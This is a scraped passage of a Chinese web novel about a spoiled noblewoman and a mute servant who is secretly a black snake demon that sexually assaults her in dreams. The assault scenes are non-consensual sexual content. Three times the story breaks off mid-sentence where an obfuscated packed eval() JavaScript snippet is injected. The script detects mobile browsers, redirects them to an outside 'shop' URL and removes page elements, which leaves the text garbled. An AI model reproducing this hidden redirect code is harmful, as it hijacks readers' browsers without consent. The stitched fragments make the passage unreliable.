她瞥了一眼哑奴,示意他跟上自己。 府前站着的两个侍卫看到苏娇娇,面上一喜:“小姐您回来了!” 他们连忙打开门,给里面的人通报道。 不久,爹娘便急急忙忙地赶了过来。 看到苏娇娇一副活蹦乱跳的模样,他们又欣喜又气愤。 “你说你一天天得怎么就不安分一些,没一点姑娘家的样子!” 娘伸出手指,恨铁不成钢地戳着苏娇娇的额头说道。 苏娇娇叹了口气,又来了。 见她这样子,便知晓心中不服气,爹也说道:“你可知婢女传来消息说你不见了,我和你娘有多焦急,你娘急得直抹眼泪。” 苏娇娇闻言连忙转了几个圈圈:“您瞧,我这不好好的。” 娘开口道:“那名唤小青的婢女可还在柴房中跪着呢。” “女儿自己偷跑的,您罚那无辜的婢女作何?” 苏娇娇微微蹙眉。 娘叹气道:“在你心里,娘是这种人吗?是那婢女称是自己失责,才弄丢了小姐,说什么也不愿起来。” 苏娇娇一愣,神情有些不自然:“那女儿如今也回来了,您就赶紧让她起来吧。” 娘笑道:“用你说,为娘早让人将她安置好休息去了。” 41. 黑蛇妖 一旁默不作声的爹忽然看向苏娇娇身后垂着头的男人。 他微微拧眉,开口问道:“这是何人?” 苏娇娇漫不经心地回头看了一眼:“哦,我刚买回来的一个奴才罢了。” “府中下人已足够了,又买来作何。” 爹不赞同道。 买来的是个丫鬟也就罢了,这可是个壮年,传到旁人耳中可是会遭人非议。 娘在旁边劝道:“买了便买了,好生管教就好。” 爹仍是不满,他多盯了几眼哑奴。 “把头抬起来。” 谁知对方像是听不懂他话似的,自顾自地垂着头。 苏娇娇揪了一把他的软肉,哑奴下意识地抬起头。 爹冷哼了一声,甩袖而去。 “别太过火了。” 娘此时也摸索出几分不寻常的门道来,她拉过苏娇娇,悄声问道:“你老实跟娘说,你买这奴才究竟是为何意?” “是单纯的下人还是……” 她没说出口,话语之外的意思却分明。 苏娇娇瞪大眼,面上浮现几抹屈辱。 “娘您这说的什么话,就这个狗奴才哪里配的上我,他给我提鞋都不配。” 娘松了口气。 “好了,既然回来了,就好生休息着吧。” * 哑奴近日心中总窝着一团火。 人类雌性将自己丢在一个破房子中,对他不闻不问,自己只能和几个闻着臭烘烘的人类住在一起。 在这样被忽视了三日后,哑奴起了报复人类雌性之心。 黄昏当头,哑奴站在屋外守夜,身躯挺拔,他直勾勾地盯着苏娇娇的闺房。 一个婢女忽然推开门,看向哑奴,吩咐道:“小姐要沐浴,还不快去接些热水来。” 哑奴直直地站在原地,仿佛没有听见似的。 婢女奇怪地看了他一眼,想到大家都说这个新来的小厮是个哑巴,估摸着也是个不太能听懂话的,她这样想着,便怀揣了几分同情道:“瞧,看见没有,这是浴盆,抬着这个去倒些热水来。” 哑奴这才动身了。 他身材健壮,干起苦力活来浑身是劲。 很快便提着冒着热气的浴盆走来。 婢女惊愕地看着他,这么快。 不禁感慨一句:“没想到你这哑巴力气倒挺大的。” 她将事先准备好的玫瑰花瓣洒在浴盆表面,花瓣漂浮起来,甚是好看。 哑奴鼻子灵敏,只轻轻一嗅,便闻到了浴盆中传来的淡淡玫瑰花香。 他对这个并不陌生。 之前在丛林里,他常会爬过众多花丛,将花瓣揪下来,嚼碎在口中。 “好了没有啊,本小姐要沐浴了!” 屋内传来女子的声音。 婢女不敢耽搁,连忙半蹲着身子,两只手拉住浴盆的扶手,使劲往上提,可这实在太重了,努力了半天,浴盆一步也没有被挪动。 忽然被人挤开,婢女张大嘴,眼睁睁地看着那闷葫芦哑奴自己抬着浴盆进屋了。 婢女急忙喊道:“站住!你不能进小姐屋子的!” 哑奴哪里听她的话,两步迈开便进了屋。 身着单衣,披着头发的苏娇娇斜斜地坐在屏风背后的椅子上,姿态慵懒。 听到脚步声,她秀气的眉头一蹙:“怎生这般慢!” 半晌没听见对方的回应,苏娇娇抿唇,不太在意。 “还不快过来伺候本小姐沐浴。” 脚步声逐渐走近。 浴盆被搁置在地上。 她的目光上移,忽然凝住。 “你怎么进来的?” 哑奴面色不变,似乎完全没有意识到自己一个大男人私闯女子闺房有多严重。 苏娇娇一向不太顾忌这些琐碎的事情。 倒也没多在意。 看到哑奴,这才想到,原来自己前几日还买了个奴才。 不过这也不是什么重要的事情。 苏娇娇甩手道:“把盆放下,赶紧出去,对了,记得给本小姐把小青唤进来。” 哑奴目光如炬,听了这话,竟是乖乖地点头,出门了。 没过多久,一个婢女便进来了,只不过不是小青。 苏娇娇还有些惊讶,毕竟这傻不愣登的奴才一向听不懂人话,这样便已不错了。 婢女的手落在身上,轻柔安逸。 温暖的水流润泽着身体。 舒服得苏娇娇闭着眼,什么都不愿想了。 屏风背后,一只黑色的小蛇若隐若现,它墨绿色的眸子直勾勾地盯着浴盆中的倩影。 蛇的视力很好,女子的身躯一览无余。 黑蛇目不转睛,眼里闪过痴态和迷茫, 这和传承中雌蛇的躯体完全不同,但对它来说,却具有极强的吸引力。 “嘶嘶。” 黑蛇歪歪头,正好这时女子已沐浴好了,但人正睡得安稳。 婢女不敢惊扰,又怕水凉了,只好起身出门去加热水来。 黑蛇爬了过去,越近女子身上那股香味就越浓烈,迷得黑蛇眼睛都直了。 苏娇娇白嫩的胳膊无力地垂在浴盆外面,黑蛇吐出信子,凑了上去。 它舔舐着在它眼中极具吸引力的皮肉。 蛇信子舔舐过的地方,留下条条诡异的水痕。 舔舐已不满足贪婪的黑蛇了,它正欲伸出利齿,在那皮肉上咬上两口,便听见门被推开的声响,婢女已提着水桶过来了。 黑蛇“嘶嘶”两声,只好不甘心地收回牙齿,摆尾离开了。 睡了个安稳觉的苏娇娇满意地醒来,这次她终于在梦中没被那淫/蛇缠身,这便是个好兆头。 她伸了个懒腰,穿上单衣,又让婢女泡上一壶上好的菊花茶。 舒舒服服地躺在吊椅上喝茶。 苏娇娇心情极好,哼着小曲,忽然想到那个哑奴来。 她好像之前是打算将这奴才培养成自己的贴身护卫来着。 现在正巧无聊,不如去看看那哑奴有什么真本事。 苏娇娇来了兴致,起身便唤人将哑奴传来。 青年似乎是刚被喊去劈柴回来,身上的衣服脏兮兮的,背上还背了个斧头,额头有汗滴滑落。 苏娇娇嫌弃地捂住鼻子,后退了几步,好远离他。 她仰视着哑奴,命令道:“你去劈几块柴来。” 这一点也没有气势。 苏娇娇眯眼看向青年,他长得很高,估摸着有八尺三,苏娇娇在同龄女子中,不算矮个子,却也只堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941792|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪到他肩膀处。 苏娇娇毫不在意地扬眉,却暗中挪动脚步迈上了上一级台阶。 这下两人就差不多了。 黑蛇经过这几日与人类的相处,再加上哑奴的部分记忆,已能听懂简单的人类话语了。 他点点头,拿起背后的斧头,大手一挥,几根圆桶粗的木柴便应势砍成几半。 看得出来,哑奴并不懂什么技巧,那木柴被劈得横七竖八的,甚不美观,但却能看出哑奴异于常人的蛮力。 苏娇娇点点头。 “你去跟府中的阿三比拼一下,看谁更厉害。” 阿三是府中功底最好的侍卫,倘若哑奴能斗过阿三,那他才有资格当她苏娇娇的随身护卫,否则,他也就只是个空有蛮力的樵夫罢了。 哑奴眼里满是迷茫,显然他并不知道阿三是谁。 苏娇娇唤管事来把阿三叫来,管事本以为是有要事要办,一听是与一个毛头小子比拼,顿时瞪大眼。 “小姐,这真小题大做了吧。” 阿三平日里做的可都是要事,把他叫来就为了这个。 苏娇娇冷哼一声。 “怎么?本小姐的话,他阿三也是听不得吗?” 管家面上一慌,连称道:“这自是不敢……” 两个男人的打斗,苏娇娇可不屑去看,脏兮兮的,仿若野兽般,浑身都是汗液,下好吩咐后,她便离开了。 “你可盯好了,到时候如实向本小姐禀报,不然拿你是问。” 管家点头哈腰,殷切地点点头。 不到一个时辰,苏娇娇回屋后躺了一会,管家便来送信了。 他一脸惊讶道:“小姐,那哑奴可真是不一般,阿三技艺娴熟,基础功扎实,但也架不住那小子的一副蛮力,那打法真是不要命啊。” 不要命…… 苏娇娇眼睛一亮。 现在的护卫不就缺这一点,武功再高超,一到生命关头,抛下主子便跑路了,哪里还管她的安危。 苏娇娇有了主意。 她请来一个夫子,专门为哑奴传授知识。 哑奴悟性很差,脾气也不好。 气走了好几个夫子。 那几个年过半百的老头子气得胡子都歪了,走时直称:“孺子不可教也!” 为此,苏娇娇只好时不时去盯着哑奴,督促他学习。 奇怪的是,只要她在场,哑奴便能安分些许。 今日也是,简陋的房间中,夫子端坐在一旁,目光严肃。 自从苏娇娇打定主意要将哑奴培养成自己的随身护卫之后,便将他从原本的多人房间中挑了出来,给他分了一间小屋子。 哑奴坐在凳子上,满脸的不耐烦。 苏娇娇坐在他身旁,面前的桌子上摆着粟糕、乌梅、蜜煎。 那姿态,仿若是在参加晚宴。 夫子说也说不得,只好眼不见心不烦。 他严厉地看向哑奴,说道:“你不能说话,却也不宜妄自菲薄,当更注重自身的修养。” 哑奴面上点点头,实则余光早就瞟向一旁吃东西的苏娇娇。 她拿起一块栗糕往嘴里塞,将嘴巴塞得满满的,像只小松鼠。 吃东西的苏娇娇一点儿也没有平时的娇纵气,只会让人觉得格外的可爱。 42. 黑蛇妖 夫子见哑奴一副心不在焉的模样,顿生心中怒火升起。 “你可听见老夫方才说了什么?” 哑奴面色懵懂。 夫子正欲发火,忽然叹了口气。 “罢了,老夫不同你一般见识。” “话说过来,你可有名字?” 话落,不仅哑奴怔住,一旁吃东西的苏娇娇也看了过来。 经夫子这么一提,她这才想起,过了这么久,竟是不知晓这哑奴的名字。 两人的目光齐齐看了过来。 哑奴微微垂眼,摇摇头。 这彻底浇灭了夫子对哑奴的怒火,顿时浩然无存。 转化为浅浅的怜惜之情。 “名字对一个人至关重要,不如就趁今日让苏小姐为你取一个名字可好?” 夫子浅笑盈盈,看向苏娇娇。 哑奴闻言猛地看向苏娇娇,眼睛极亮。 苏娇娇沉吟片刻,名字啊,的确是非常重要的。 “要不就叫二狗吧。” 夫子眉头一跳,眼睛布满了惊愕。 却见女子神情认真,不像开玩笑的。 苏娇娇见此撇嘴:“不行啊,那就大黑吧。” 瞧这哑奴生得这般黝黑,身体又健壮,不叫大黑叫什么。 夫子眉头直跳。 这苏小姐果真是胸中毫无半分点墨之意。 苏娇娇挑眉:“还不满意?本小姐愿意赏他一个名字,他不磕头谢恩,竟还敢挑三拣四的。” 虽说如今等级严格,人与人之间的阶级天差地别,但坚守平等仁义风尚的夫子听了这话心里还是有些不舒服的。 他面上的笑意已有些挂不住。 “不如让老夫来给他取个名字可好?” 苏娇娇无所谓地耸耸肩:“你自己问他就好。” 夫子信心满满地看向哑奴,那苏小姐取得名字这般粗俗,是个人都该知道选人来取名字吧。 却见哑奴直勾勾地看着苏娇娇,他不能说话,眼中的神色却明了。 原本漫不经心的苏娇娇来了兴致。 她勾唇笑着,算这哑奴识相。 “哦?那你是想叫二狗还是大黑啊?” 这可就难为了哑奴,既不会说话又不会写字,哪里能回答得了苏娇娇的问题。 不过显然苏娇娇也不是诚心想问他,自己已被他的选择愉悦了心情,眉眼弯弯。 她轻笑道:“那就叫大黑吧,走了大黑,今日的课程就到这里吧。” 大黑本就厌烦极了那人类老头止不住的唠叨,闻言立马屁颠屁颠地跟着苏娇娇走了。 留下夫子一人气得吹胡子瞪眼的。 这、这简直就是玩闹!!! * 几日前被派去拍卖会买蛇果的小厮回来了。 他将花巨额买下的两颗蛇果放在桌上。 苏娇娇可不在意这花了多少银两。 她拿起蛇果,仔细打量了一圈,与记忆中那几颗蛇果一模一样。 一个念头骤然在她心中升起—— 她终于不用再被那淫/蛇在梦中缠身了。 门外站着的大黑忽然闻见一股熟悉的清香。 他的眼眸一暗。 是蛇果的味道。 很快,眉间带着喜意的苏娇娇推门而出,她向大黑喊道:“本小姐有要事要做,你把门可守好,莫要让旁人进来了!” 大黑如往常一般直直地站着,像块木桩子,他点点头。 苏娇娇被喜意冲上了头,没有发现大黑墨色的瞳孔里忽然闪过几道红光。 小心翼翼地关上门后。 苏娇娇将蛇果放在桌子上。 她也不知那黑蛇能否看到、听到,但既然能进她的梦中,想必是通灵性的。 “先前拿了你的蛇果,是本小姐的过错,但这段时间……你也应当是解了恨了吧。况且,本小姐也为你找来了新的蛇果,快快离开本小姐的梦境,莫要再纠缠了。” 苏娇娇心想,那黑蛇显灵说不定不能让人看见,考虑于此,苏娇娇说完后,便躲在了屏风后面。 她悄咪咪地观察着外面的动静,半晌没有声响。 时间一点一滴地流逝,困意袭来,苏娇娇眼皮子在上下打架,心中的好奇心却在抵抗着这股困倦意味,她如小鸡啄米般上下轻点着头。 睡梦中,苏娇娇忽然感觉到脸颊上传来湿润的触觉,她迷茫地睁开眼。 便看到那条熟悉的黑蛇脸庞近在咫尺。 苏娇娇吓了一大跳。 反应过来,苏娇娇皱起眉头。 “你这条蛇好生不讲理,本小姐已向你归还了蛇果,你为何还要来本小姐梦中纠缠于我!” 向来都是苏娇娇让别人吃亏,哪里轮过她吃亏。 却在这条黑蛇身上,翻尽了跟头。 苏娇娇气的牙痒痒。 别让她有机会,不然她定是要抽了这黑蛇的筋,剥了这黑蛇的皮。 黑蛇可不听她的话。 人类雌性摘了蛇果来,特意向自己求/欢。 这个认知让黑蛇激动的蛇信子止不住地吐出。 “嘶嘶……” 它伸出蛇信子,在人类雌性白嫩的脸上轻轻舔舐。 苏娇娇心中怒火腾生。 不过她很快意识到不同来,往日里在梦中她都是没有意识的,醒来的记忆却一清二楚,但这次她能清楚地感知到所发生的一切,并且她可以有所作为。 这个想法令她心生一动。 苏娇娇轻咬贝唇,眼里闪过狠决。 她推开黑蛇,黑蛇显然对此没有防御,轻轻一推便被推出去。 苏娇娇趁机扫视了一眼周围。 这次梦中的背景竟是自己的闺房。 苏娇娇眼中划过羞愤。 这黑蛇真是丝毫不知廉耻! 她拿起挂在墙面上的鞭子,动作极为快准狠,伸手狠狠地抽了过去。 落在黑蛇的躯体上。 黑蛇吃痛,“嘶”了一声,它的瞳孔中浮现出几分茫然来。 黑蛇此时极为委屈。 人类雌性费尽心思摘来蛇果,显然她是喜爱它的,愿意与它结为伴侣,自然,它也是喜爱这个人类雌性的,那他们便可以交/欢了,为什么雌性现在又拿鞭子抽它,抽得它好疼。 黑色的鳞片被打掉了两三片,落在地上发出清脆的“哐当”几声。 苏娇娇眼里闪过喜意,心里不自觉有些得意。 既然能感受到疼痛,她难道还能拿这黑蛇没辙吗。 她还想再抽,这黑蛇却聪明了些,它在地上滚了一圈,躲开那鞭子的挥打。 黑蛇又缠了过来,苏娇娇拿它没法,暂时无法脱身。 蛇尾将女子柔软的腰肢缠绕起来,蛇果的清香与女子身上的香味直冲黑蛇鼻尖,黑蛇心中激动难捺,用的力气稍微大了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967736|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏娇娇吃痛一声,当即想要用手使劲拍打蛇尾,忽然面色一变。 为何会有痛觉…… 梦中本不该会产生痛觉的…… 莫非…… 不! 这不可能的!!! 苏娇娇忽然用手掐了一下自己。 “嘶。” 果真有痛觉。 苏娇娇脸色一白,她看向黑蛇,眼神中带着恐惧与绝望。 这可是真正的蛇。 能够一口将自己吞了的蛇。 这眼神让黑蛇心中收紧。 它不自觉地放开了人类雌性。 苏娇娇跌落在地上,来不及感受身上的疼痛,她大声喊道:“大黑!大黑!” 黑蛇听到人类雌性在呼喊自己,心中一喜。 它就知道的。 人类雌性是喜爱自己的。 苏娇娇见那黑蛇越靠越近,心中更加恐惧。 她拿起长鞭,努力驱赶着它。 “滚!离我远点!” 黑蛇被迫停住向前摆动的蛇尾。 苏娇娇更加大声喊道:“大黑!大黑!还不快给本小姐滚进来!” 黑蛇用它迟钝的头脑缓慢地思考了一下。 哦。 原来是在叫那个人类的大黑。 黑蛇心中升起满满的失落。 久久没有得到回应,苏娇娇心中的脆弱彻底掩盖不住,她无力地瘫坐在地上,眼泪从眼角一路滑了下来,口中止不住地呢喃着大黑。 黑蛇见此,缓慢地移动着身子爬出了屋子。 人类雌性怕它的兽形,却喜欢它化成人形的模样。 没关系。 那它就化成人类再来找雌性。 见那畜牲拖着蛇尾离开了。 苏娇娇心中一松,还未来得及擦干眼泪。 便见大黑姗姗来迟,他神色匆匆,连忙推开门。 看到哽咽的苏娇娇,他目光微凝,喉结稍稍滚动。 只见女子青丝细发垂于肩头,碧眼盈波的眼眸此时泪光点点,哭得眼尾都是红的。 与平时盛气凌人的苏娇娇截然相反。 大黑蹲下身,正欲靠近,便感觉到一个巴掌向自己脸上袭来。 “啪”一声。 大黑的左脸出现了一个红色的巴掌印。 青年肤色较黑,红印不太明显,但那巴掌声极响,显然是下了狠劲的。 苏娇娇怒骂道:“本小姐叫你进来,为何现在才来!主子的命令也敢怠慢,本小姐看你是想吃鞭子了吧。” 大黑歉意地看向苏娇娇。 他想要说什么,但是口中只能发出“啊”的嘶哑声。 这模样配上那红印衬得人可怜极了。 但他面对的是个心狠的主。 苏娇娇哪里看得见,她一把推开大黑,嫌弃道:“死哑巴,连话都不会讲,只教人心烦。” 将人推开后,她又犯了难,自己腿软了,身子起不来。 “还不快过来扶本小姐一把。” 大黑闻言又屁颠屁颠地搀扶住苏娇娇的手,女子的手如柔荑,触感极好,仿若上好的和田玉,他又痴了,舍不得放开,趁机多摩挲了几下。 此举自然是让苏娇娇发现了。 女子瞪大眼睛。 一巴掌顺势扇了过来。 “谁给你这个狗奴才的胆子,竟然敢占本小姐的便宜,滚去挨鞭子。” 43. 黑蛇妖 大黑乖乖地应了一声。 他转身准备离开,忽然被人一声叫停:“慢着!” 苏娇娇面色有些略微不自然。 倘若这奴才走了以后,那黑蛇又找上门该如何。 想到这个可能,苏娇娇不禁一阵恶寒。 “过来。” 大黑眼睛一亮,他正欲坐在苏娇娇身旁,便见女子微微蹙眉,冷呵道:“谁让你坐的,别以为本小姐会就此翻篇,跪下来。” 青年应了一声。 他“咚”得一声便跪了下来。 见他认错态度良好,苏娇娇面色缓和了些许。 她抬眸看向四周,紧紧地盯着角落的一丝一毫,不敢有松懈之心,生怕下一秒那畜牲便冒了出来。 好在半晌没有动静。 苏娇娇又低头看向目光灼灼的大黑。 青年半点没有被罚跪的羞耻之心,他的脊背挺得极直,直勾勾地盯着苏娇娇,见人瞧来,也没有被抓包的尴尬,反而对她扬起笑容。 苏娇娇冷嗤一声。 狗奴才就是狗奴才。 大黑跪得屋外的天色转阴暗了。 作为黑蛇时,它皮糙肉厚,丝毫不会感觉到半点痛觉,如今变成了人类的躯体,竟是脆弱了些,跪得他膝盖酸麻。 苏娇娇丝毫不在意那跪着的人影。 直到瞧着天色已晚的婢女敲门来伺候苏娇娇洗漱宽衣之际,才发觉在屋内跪着的大黑。 看见青年,婢女吃了一大惊。 孤男寡女竟是就这样待在一个屋子中。 这事却容不得她来质疑。 婢女只好垂着头,老老实实地侍候苏娇娇。 直到女子眼皮耷拉之际,她才忍不住开口道:“小姐,天色已晚了,您也准备就寝了,继续让这小厮跪在这恐怕有些不太合适。” 苏娇娇被这声音惊醒,她顺着婢女的目光看了过去。 揉了揉眼睛,疑惑开口道:“咦,你怎生还在这跪着,回去跪着吧。” 婢女心中暗想,苏小姐果生是个不好招惹的,这小厮在这跪着怕得有几个时辰了,听这语气,竟是想让人跪一晚上。 也不知晓这小厮犯了什么大错。 却见大黑乖乖地点点头。 得了命令,他猛地站了起来,酸软无力的腿部突然发力,他的身体摇摇欲坠,轻“嘶”一声。 婢女都生怕他会摔倒在地上。 好在大黑的身体协调性很好,他稍微站定了一会,便恢复了正常行动。 青年目光如炬,深深看了苏娇娇一眼后便推门离开。 这目光实在不像是下人看主子的目光。 反倒充满了侵略性与痴态…… 婢女连忙垂下头不敢再深思。 苏娇娇早已习惯了他这副模样,狗奴才,一点规矩都不懂。 她微微欠身打了个哈欠。 眼角浮现水雾来。 躺在床榻之上,温暖的气息笼罩住苏娇娇,她惬意地眯眼。 只是,梦中那条黑蛇又来了。 天色蒙蒙亮。 几缕朦胧的薄雾斜斜地笼罩住天色。 苏娇娇迷路了。 她兜兜转转,始终都找不到路的出口。 骤然,她发现了一个缺口。 苏娇娇面上一喜。 顺着那方向走去,她看到了一个洞穴。 苏娇娇一路爬着爬到洞口,看清洞口那幕,她忽然面色一白。 竟是两条蛇在交尾。 雄蛇将雌蛇牢牢地禁锢在身下,两条蛇缠的极紧,缠绵悱恻。 似乎…… 苏娇娇心中掀起惊涛骇浪。 雄蛇竟是有两个…… 一向大胆的她红了脸,不敢再看。 正想顺着原来的方向返回去。 转过身却发现一条黑蛇正睁着墨绿色瞳孔幽幽地盯着她,不知盯了有多久。 黑蛇“嘶嘶”了两声。 看着面前的人类雌性。 眼里闪过烦躁。 它马上就要发/情/期了,可是还没找到属于自己的雌蛇,到时候难道又要同往常那般蹭着那棵熟悉的百年老松树吗? 面前这个倒是个雌性。 但是她没有蛇尾,也没有蛇信子。 反而多了双手双腿。 看着身子单薄,哪里是能够抗的住自己的。 黑蛇不满地想道。 它正欲甩尾离开,忽然一股奇怪的感觉蔓延开。 黑蛇瞳孔发红,它不停地拍打着自己的蛇尾。 这一癫狂的举动吓到了苏娇娇。 苏娇娇面色一白,连忙撒腿就跑。 黑蛇看了过去,飞快地用蛇尾将人卷了回来。 “该死的畜牲,滚啊!” 苏娇娇叫喊道,心中升起绝望来。 黑蛇将蛇头埋在女子的胸口处。 好香好香好香好香好香好香…… 好软好软好软好软好软好软…… 方才还满腹嫌弃的黑蛇忽然发觉到这个人类雌性的吸引点来。 它将蛇信子伸出,在苏娇娇面上舔舐,留下片片水痕,它又顺此滑了下去…… 苏娇娇这才发觉到不对劲来。 这个该死的恶心的畜牲竟然把自己当成了雌蛇。 苏娇娇也忘记了心里的害怕,她只剩下一个念头—— 一定不能被这个该死的畜牲侮辱了! 苏娇娇握紧拳头,不停地捶打着黑蛇,但黑蛇皮糙肉厚,鳞片坚硬,这点力度非但没有使黑蛇吃痛,反而更加刺激了它。 黑蛇更加激动了。 它的两个露了出来。 苏娇娇看见几乎快晕了过去。 会死的。 一定会死的。 女子的衣裳繁琐,苏娇娇平时都是由婢女伺候着换衣的,放在黑蛇手里,却没存活过多久。 那锋利的利齿只轻轻一划,面料珍贵的衣裳顿时变成了碎片。 苏娇娇眼泪流了出来。 她一边哭一边怒骂道:“该死的,滚啊,恶心死了,本小姐要用鞭子把你抽死。” 黑蛇本就听不懂人话,再加上被那股情/欲所操控,哪里还管这人类在说些什么。 只觉得她的小嘴一直在张张合合,红红的小小的,看起来就像自己在丛林中吃的果子般,酸酸甜甜的。 想到那滋味,黑蛇舔舔唇。 它凑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968272|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,果然与自己想象中的滋味一样。 苏娇娇猛地瞪大眼睛,她愈发大力地捶打着这该死的畜牲。 眼泪无力地流下来。 呜呜呜呜呜呜…… 她要把这个恶心的畜牲抽皮剥筋,把它的皮扒下来,将它的肉煲汤喝。 只是,这个可怕的梦境还在继续。 “啊!” 苏娇娇猛地惊醒,想到梦中的画面,她恨得咬牙。 该死的该死的! “噔噔。” 敲门声响起。 “谁?” 苏娇娇冷了神色,自己这下正心情不好,她倒要看看是哪个不长眼的撞上来。 “是娘。听你房里的婢女说你似乎梦魇了,一直在说梦话,特来看看你。” 苏娇娇神色缓和,连忙请人进来。 看到苏娇娇,娘神情一惊。 女子面色苍白,疲惫感扑面而来,眼下的青紫明显。 “怎么这么严重,上次娘给的那些安眠香一点用都没有吗?” 苏娇娇叹了口气:“没用。每日都会梦魇,缠的我无法入睡。” 娘心疼地看着她:“这可不行,娘给你请个郎中来。” 郎中有何用。 当请道士来抓了那黑蛇。 苏娇娇心中不以为然,却还是没有拒绝娘的一番好意。 郎中把完脉后,忽然有些欲言又止。 娘有些心急:“你倒是说啊,该不会是生什么大毛病了吧。” 苏娇娇也被吓得一颤。 郎中放缓神情:“这倒没有,只是这话我不知当讲不当讲,毕竟苏娇娇还是个未出嫁的女子。” 娘似乎想到了什么。 苏娇娇却被他这哑谜唬得一愣一愣的。 “你倒是说啊,有什么不好说的。” 郎中支支吾吾道:“苏小姐阴气太重,气血不足,所以才会经常导致梦魇,若我猜的不错,恐怕是有关房中之事的梦吧。” 苏娇娇被说得面色一红。 倘若只有她一人也就罢了,偏生现在还有娘在场。 早知如此,就等娘走了,她自己再请郎中了。 不过这郎中倒有几分本事,这都能知晓。 娘忽然盯着苏娇娇:“郎中说得可属实?” 苏娇娇嗯了一声作回应。 娘叹了口气。 面色忧愁。 “这样下去也不是个办法,但是你如今还未出嫁,看来得赶紧给你爹说,给你找门好亲事了。” 苏娇娇不以为然。 她才不想嫁人。 不就是缺阳气中和了。 自己找个阳气重的男人不就好了。 这世道对女子严苛要求,偏生区别对待,男子却可三妻四妾。 自己可不想嫁过去和一群女子争宠。 不过。 该找谁呢。 丑的不行,身体不好的不行,花心的不行,得找个身子干净的。 自己就是玩玩而已,对方身份还必须卑微一些,之后好吃个哑巴亏。 苏娇娇仔细想了想。 综合排下来。 竟是就只剩下大黑那个狗奴才了。 44. 黑蛇妖 “小青,把大黑给本小姐喊来。” 床榻之上,苏娇娇懒散的声音传来。 小青柔柔地称是,她微微服身,退了出去。 不过半柱香的时刻,她便又进来了。 只是…… 小青半跪着身子,抬眸看向苏娇娇。 “小姐,大黑跪了一夜,膝盖之处疼痛难耐,暂时无法过来给小姐请安。” 这话其实说得委婉了些,倘若只是疼痛,定是不至于走不过来,显然已伤到筋骨,卧床不起了。 苏娇娇微微张嘴,有些惊愕。 这呆子。 “请过郎中了没?” “尚未。” 小青闻言头垂得更低了些。 大黑一个哑奴,哪里是能请郎中的,倘若不是小姐传话让自己去找人,恐怕现在也是没人知晓的。 苏娇娇微微蹙眉。 她下了床,步履匆匆,大步往出迈。 小青连忙跟了过去:“小姐,您是要去哪里?” “大黑的房间,传下去,把乔郎中一并请来。” 小青有些惊愕,很快应道:“是。” 另一边。 狭窄的小屋中,青年冷冷地看着自己疼痛的大腿。 人类的身体就是娇弱。 如果不是人类雌性喜欢的话,他才不愿意变成这样子。 心中的不耐烦之意越发浓厚,青年的眼眸中一抹红光顿现,便变成了一条黑蛇,黑蛇的蛇尾使劲在地上拍了拍,声音极响。 黑蛇似乎比之前的体型变得更大了些,鳞片更有光泽了些许。 之前难耐的疼痛感已然消散,黑蛇愉悦地眯眼。 “嘶嘶”两声。 还不待它好好享受自己的原型,敏锐地听到了属于人类的脚步声。 黑蛇眼里闪过冷意。 只好又变成了人形。 方才作为蛇类肆意的结果又反噬在这具人类身体上,大黑面色一白,看起来极其脆弱,他躺在冰冷的床榻上,目光呆滞。 苏娇娇推开门后便看到了这一幕。 她微微蹙眉,果然很严重。 看到苏娇娇时,大黑茫然的目光忽然聚焦在一点,他紧紧地看着苏娇娇。 “让你跪一晚上,真一点懒都不偷。” 苏娇娇有些惊奇地挑眉,还是第一次遇到这么死板的人。 大黑正欲起身,却被大幅度的动作引起的剧痛动作一滞,他的面色似乎更苍白了。 苏娇娇将人推了下去,轻飘飘的,大黑却忽然嘴里吐出一声闷哼。 “你装什么?不就是跪了一晚上,本小姐可一点儿力气都没使。” 原本对他的乖顺满意的苏娇娇忽然皱起眉头。 没想到这狗奴才还是个会耍心眼的,在主子面前这样装腔作势。 心中嗤笑的她忽然目光微凝,察觉出不对劲来。 苏娇娇忽然用手扒他的衣服。 大黑面上是个人类,实则还是个不懂男女之防的畜牲罢了,对这举动没有丝毫反应,因此苏娇娇扒得极其轻松。 只见青年的背上满是被鞭子抽打的痕迹,大片大片的红痕,布满在身上甚是可怖。 “谁打的你?” 苏娇娇面色一冷。 大黑名义上可是她的贴身护卫,敢这样打他,就是在打她苏娇娇的脸面。 青年不会说话,闻言咿咿呀呀地比划着什么。 苏娇娇本就恼火,被他这一番举动看得更加心烦。 “夫子不是教过你写字吗?写给本小姐看。” 苏娇娇起身,走至书桌那里。抽出一张纸,又拿起一根笔,丢给大黑。 大黑狼狈地接住,他抬眸看向苏娇娇,眼里满是难过。 人类雌性是不是又不喜欢他这具人类身体了,为何对他的态度又变得这么冷漠。 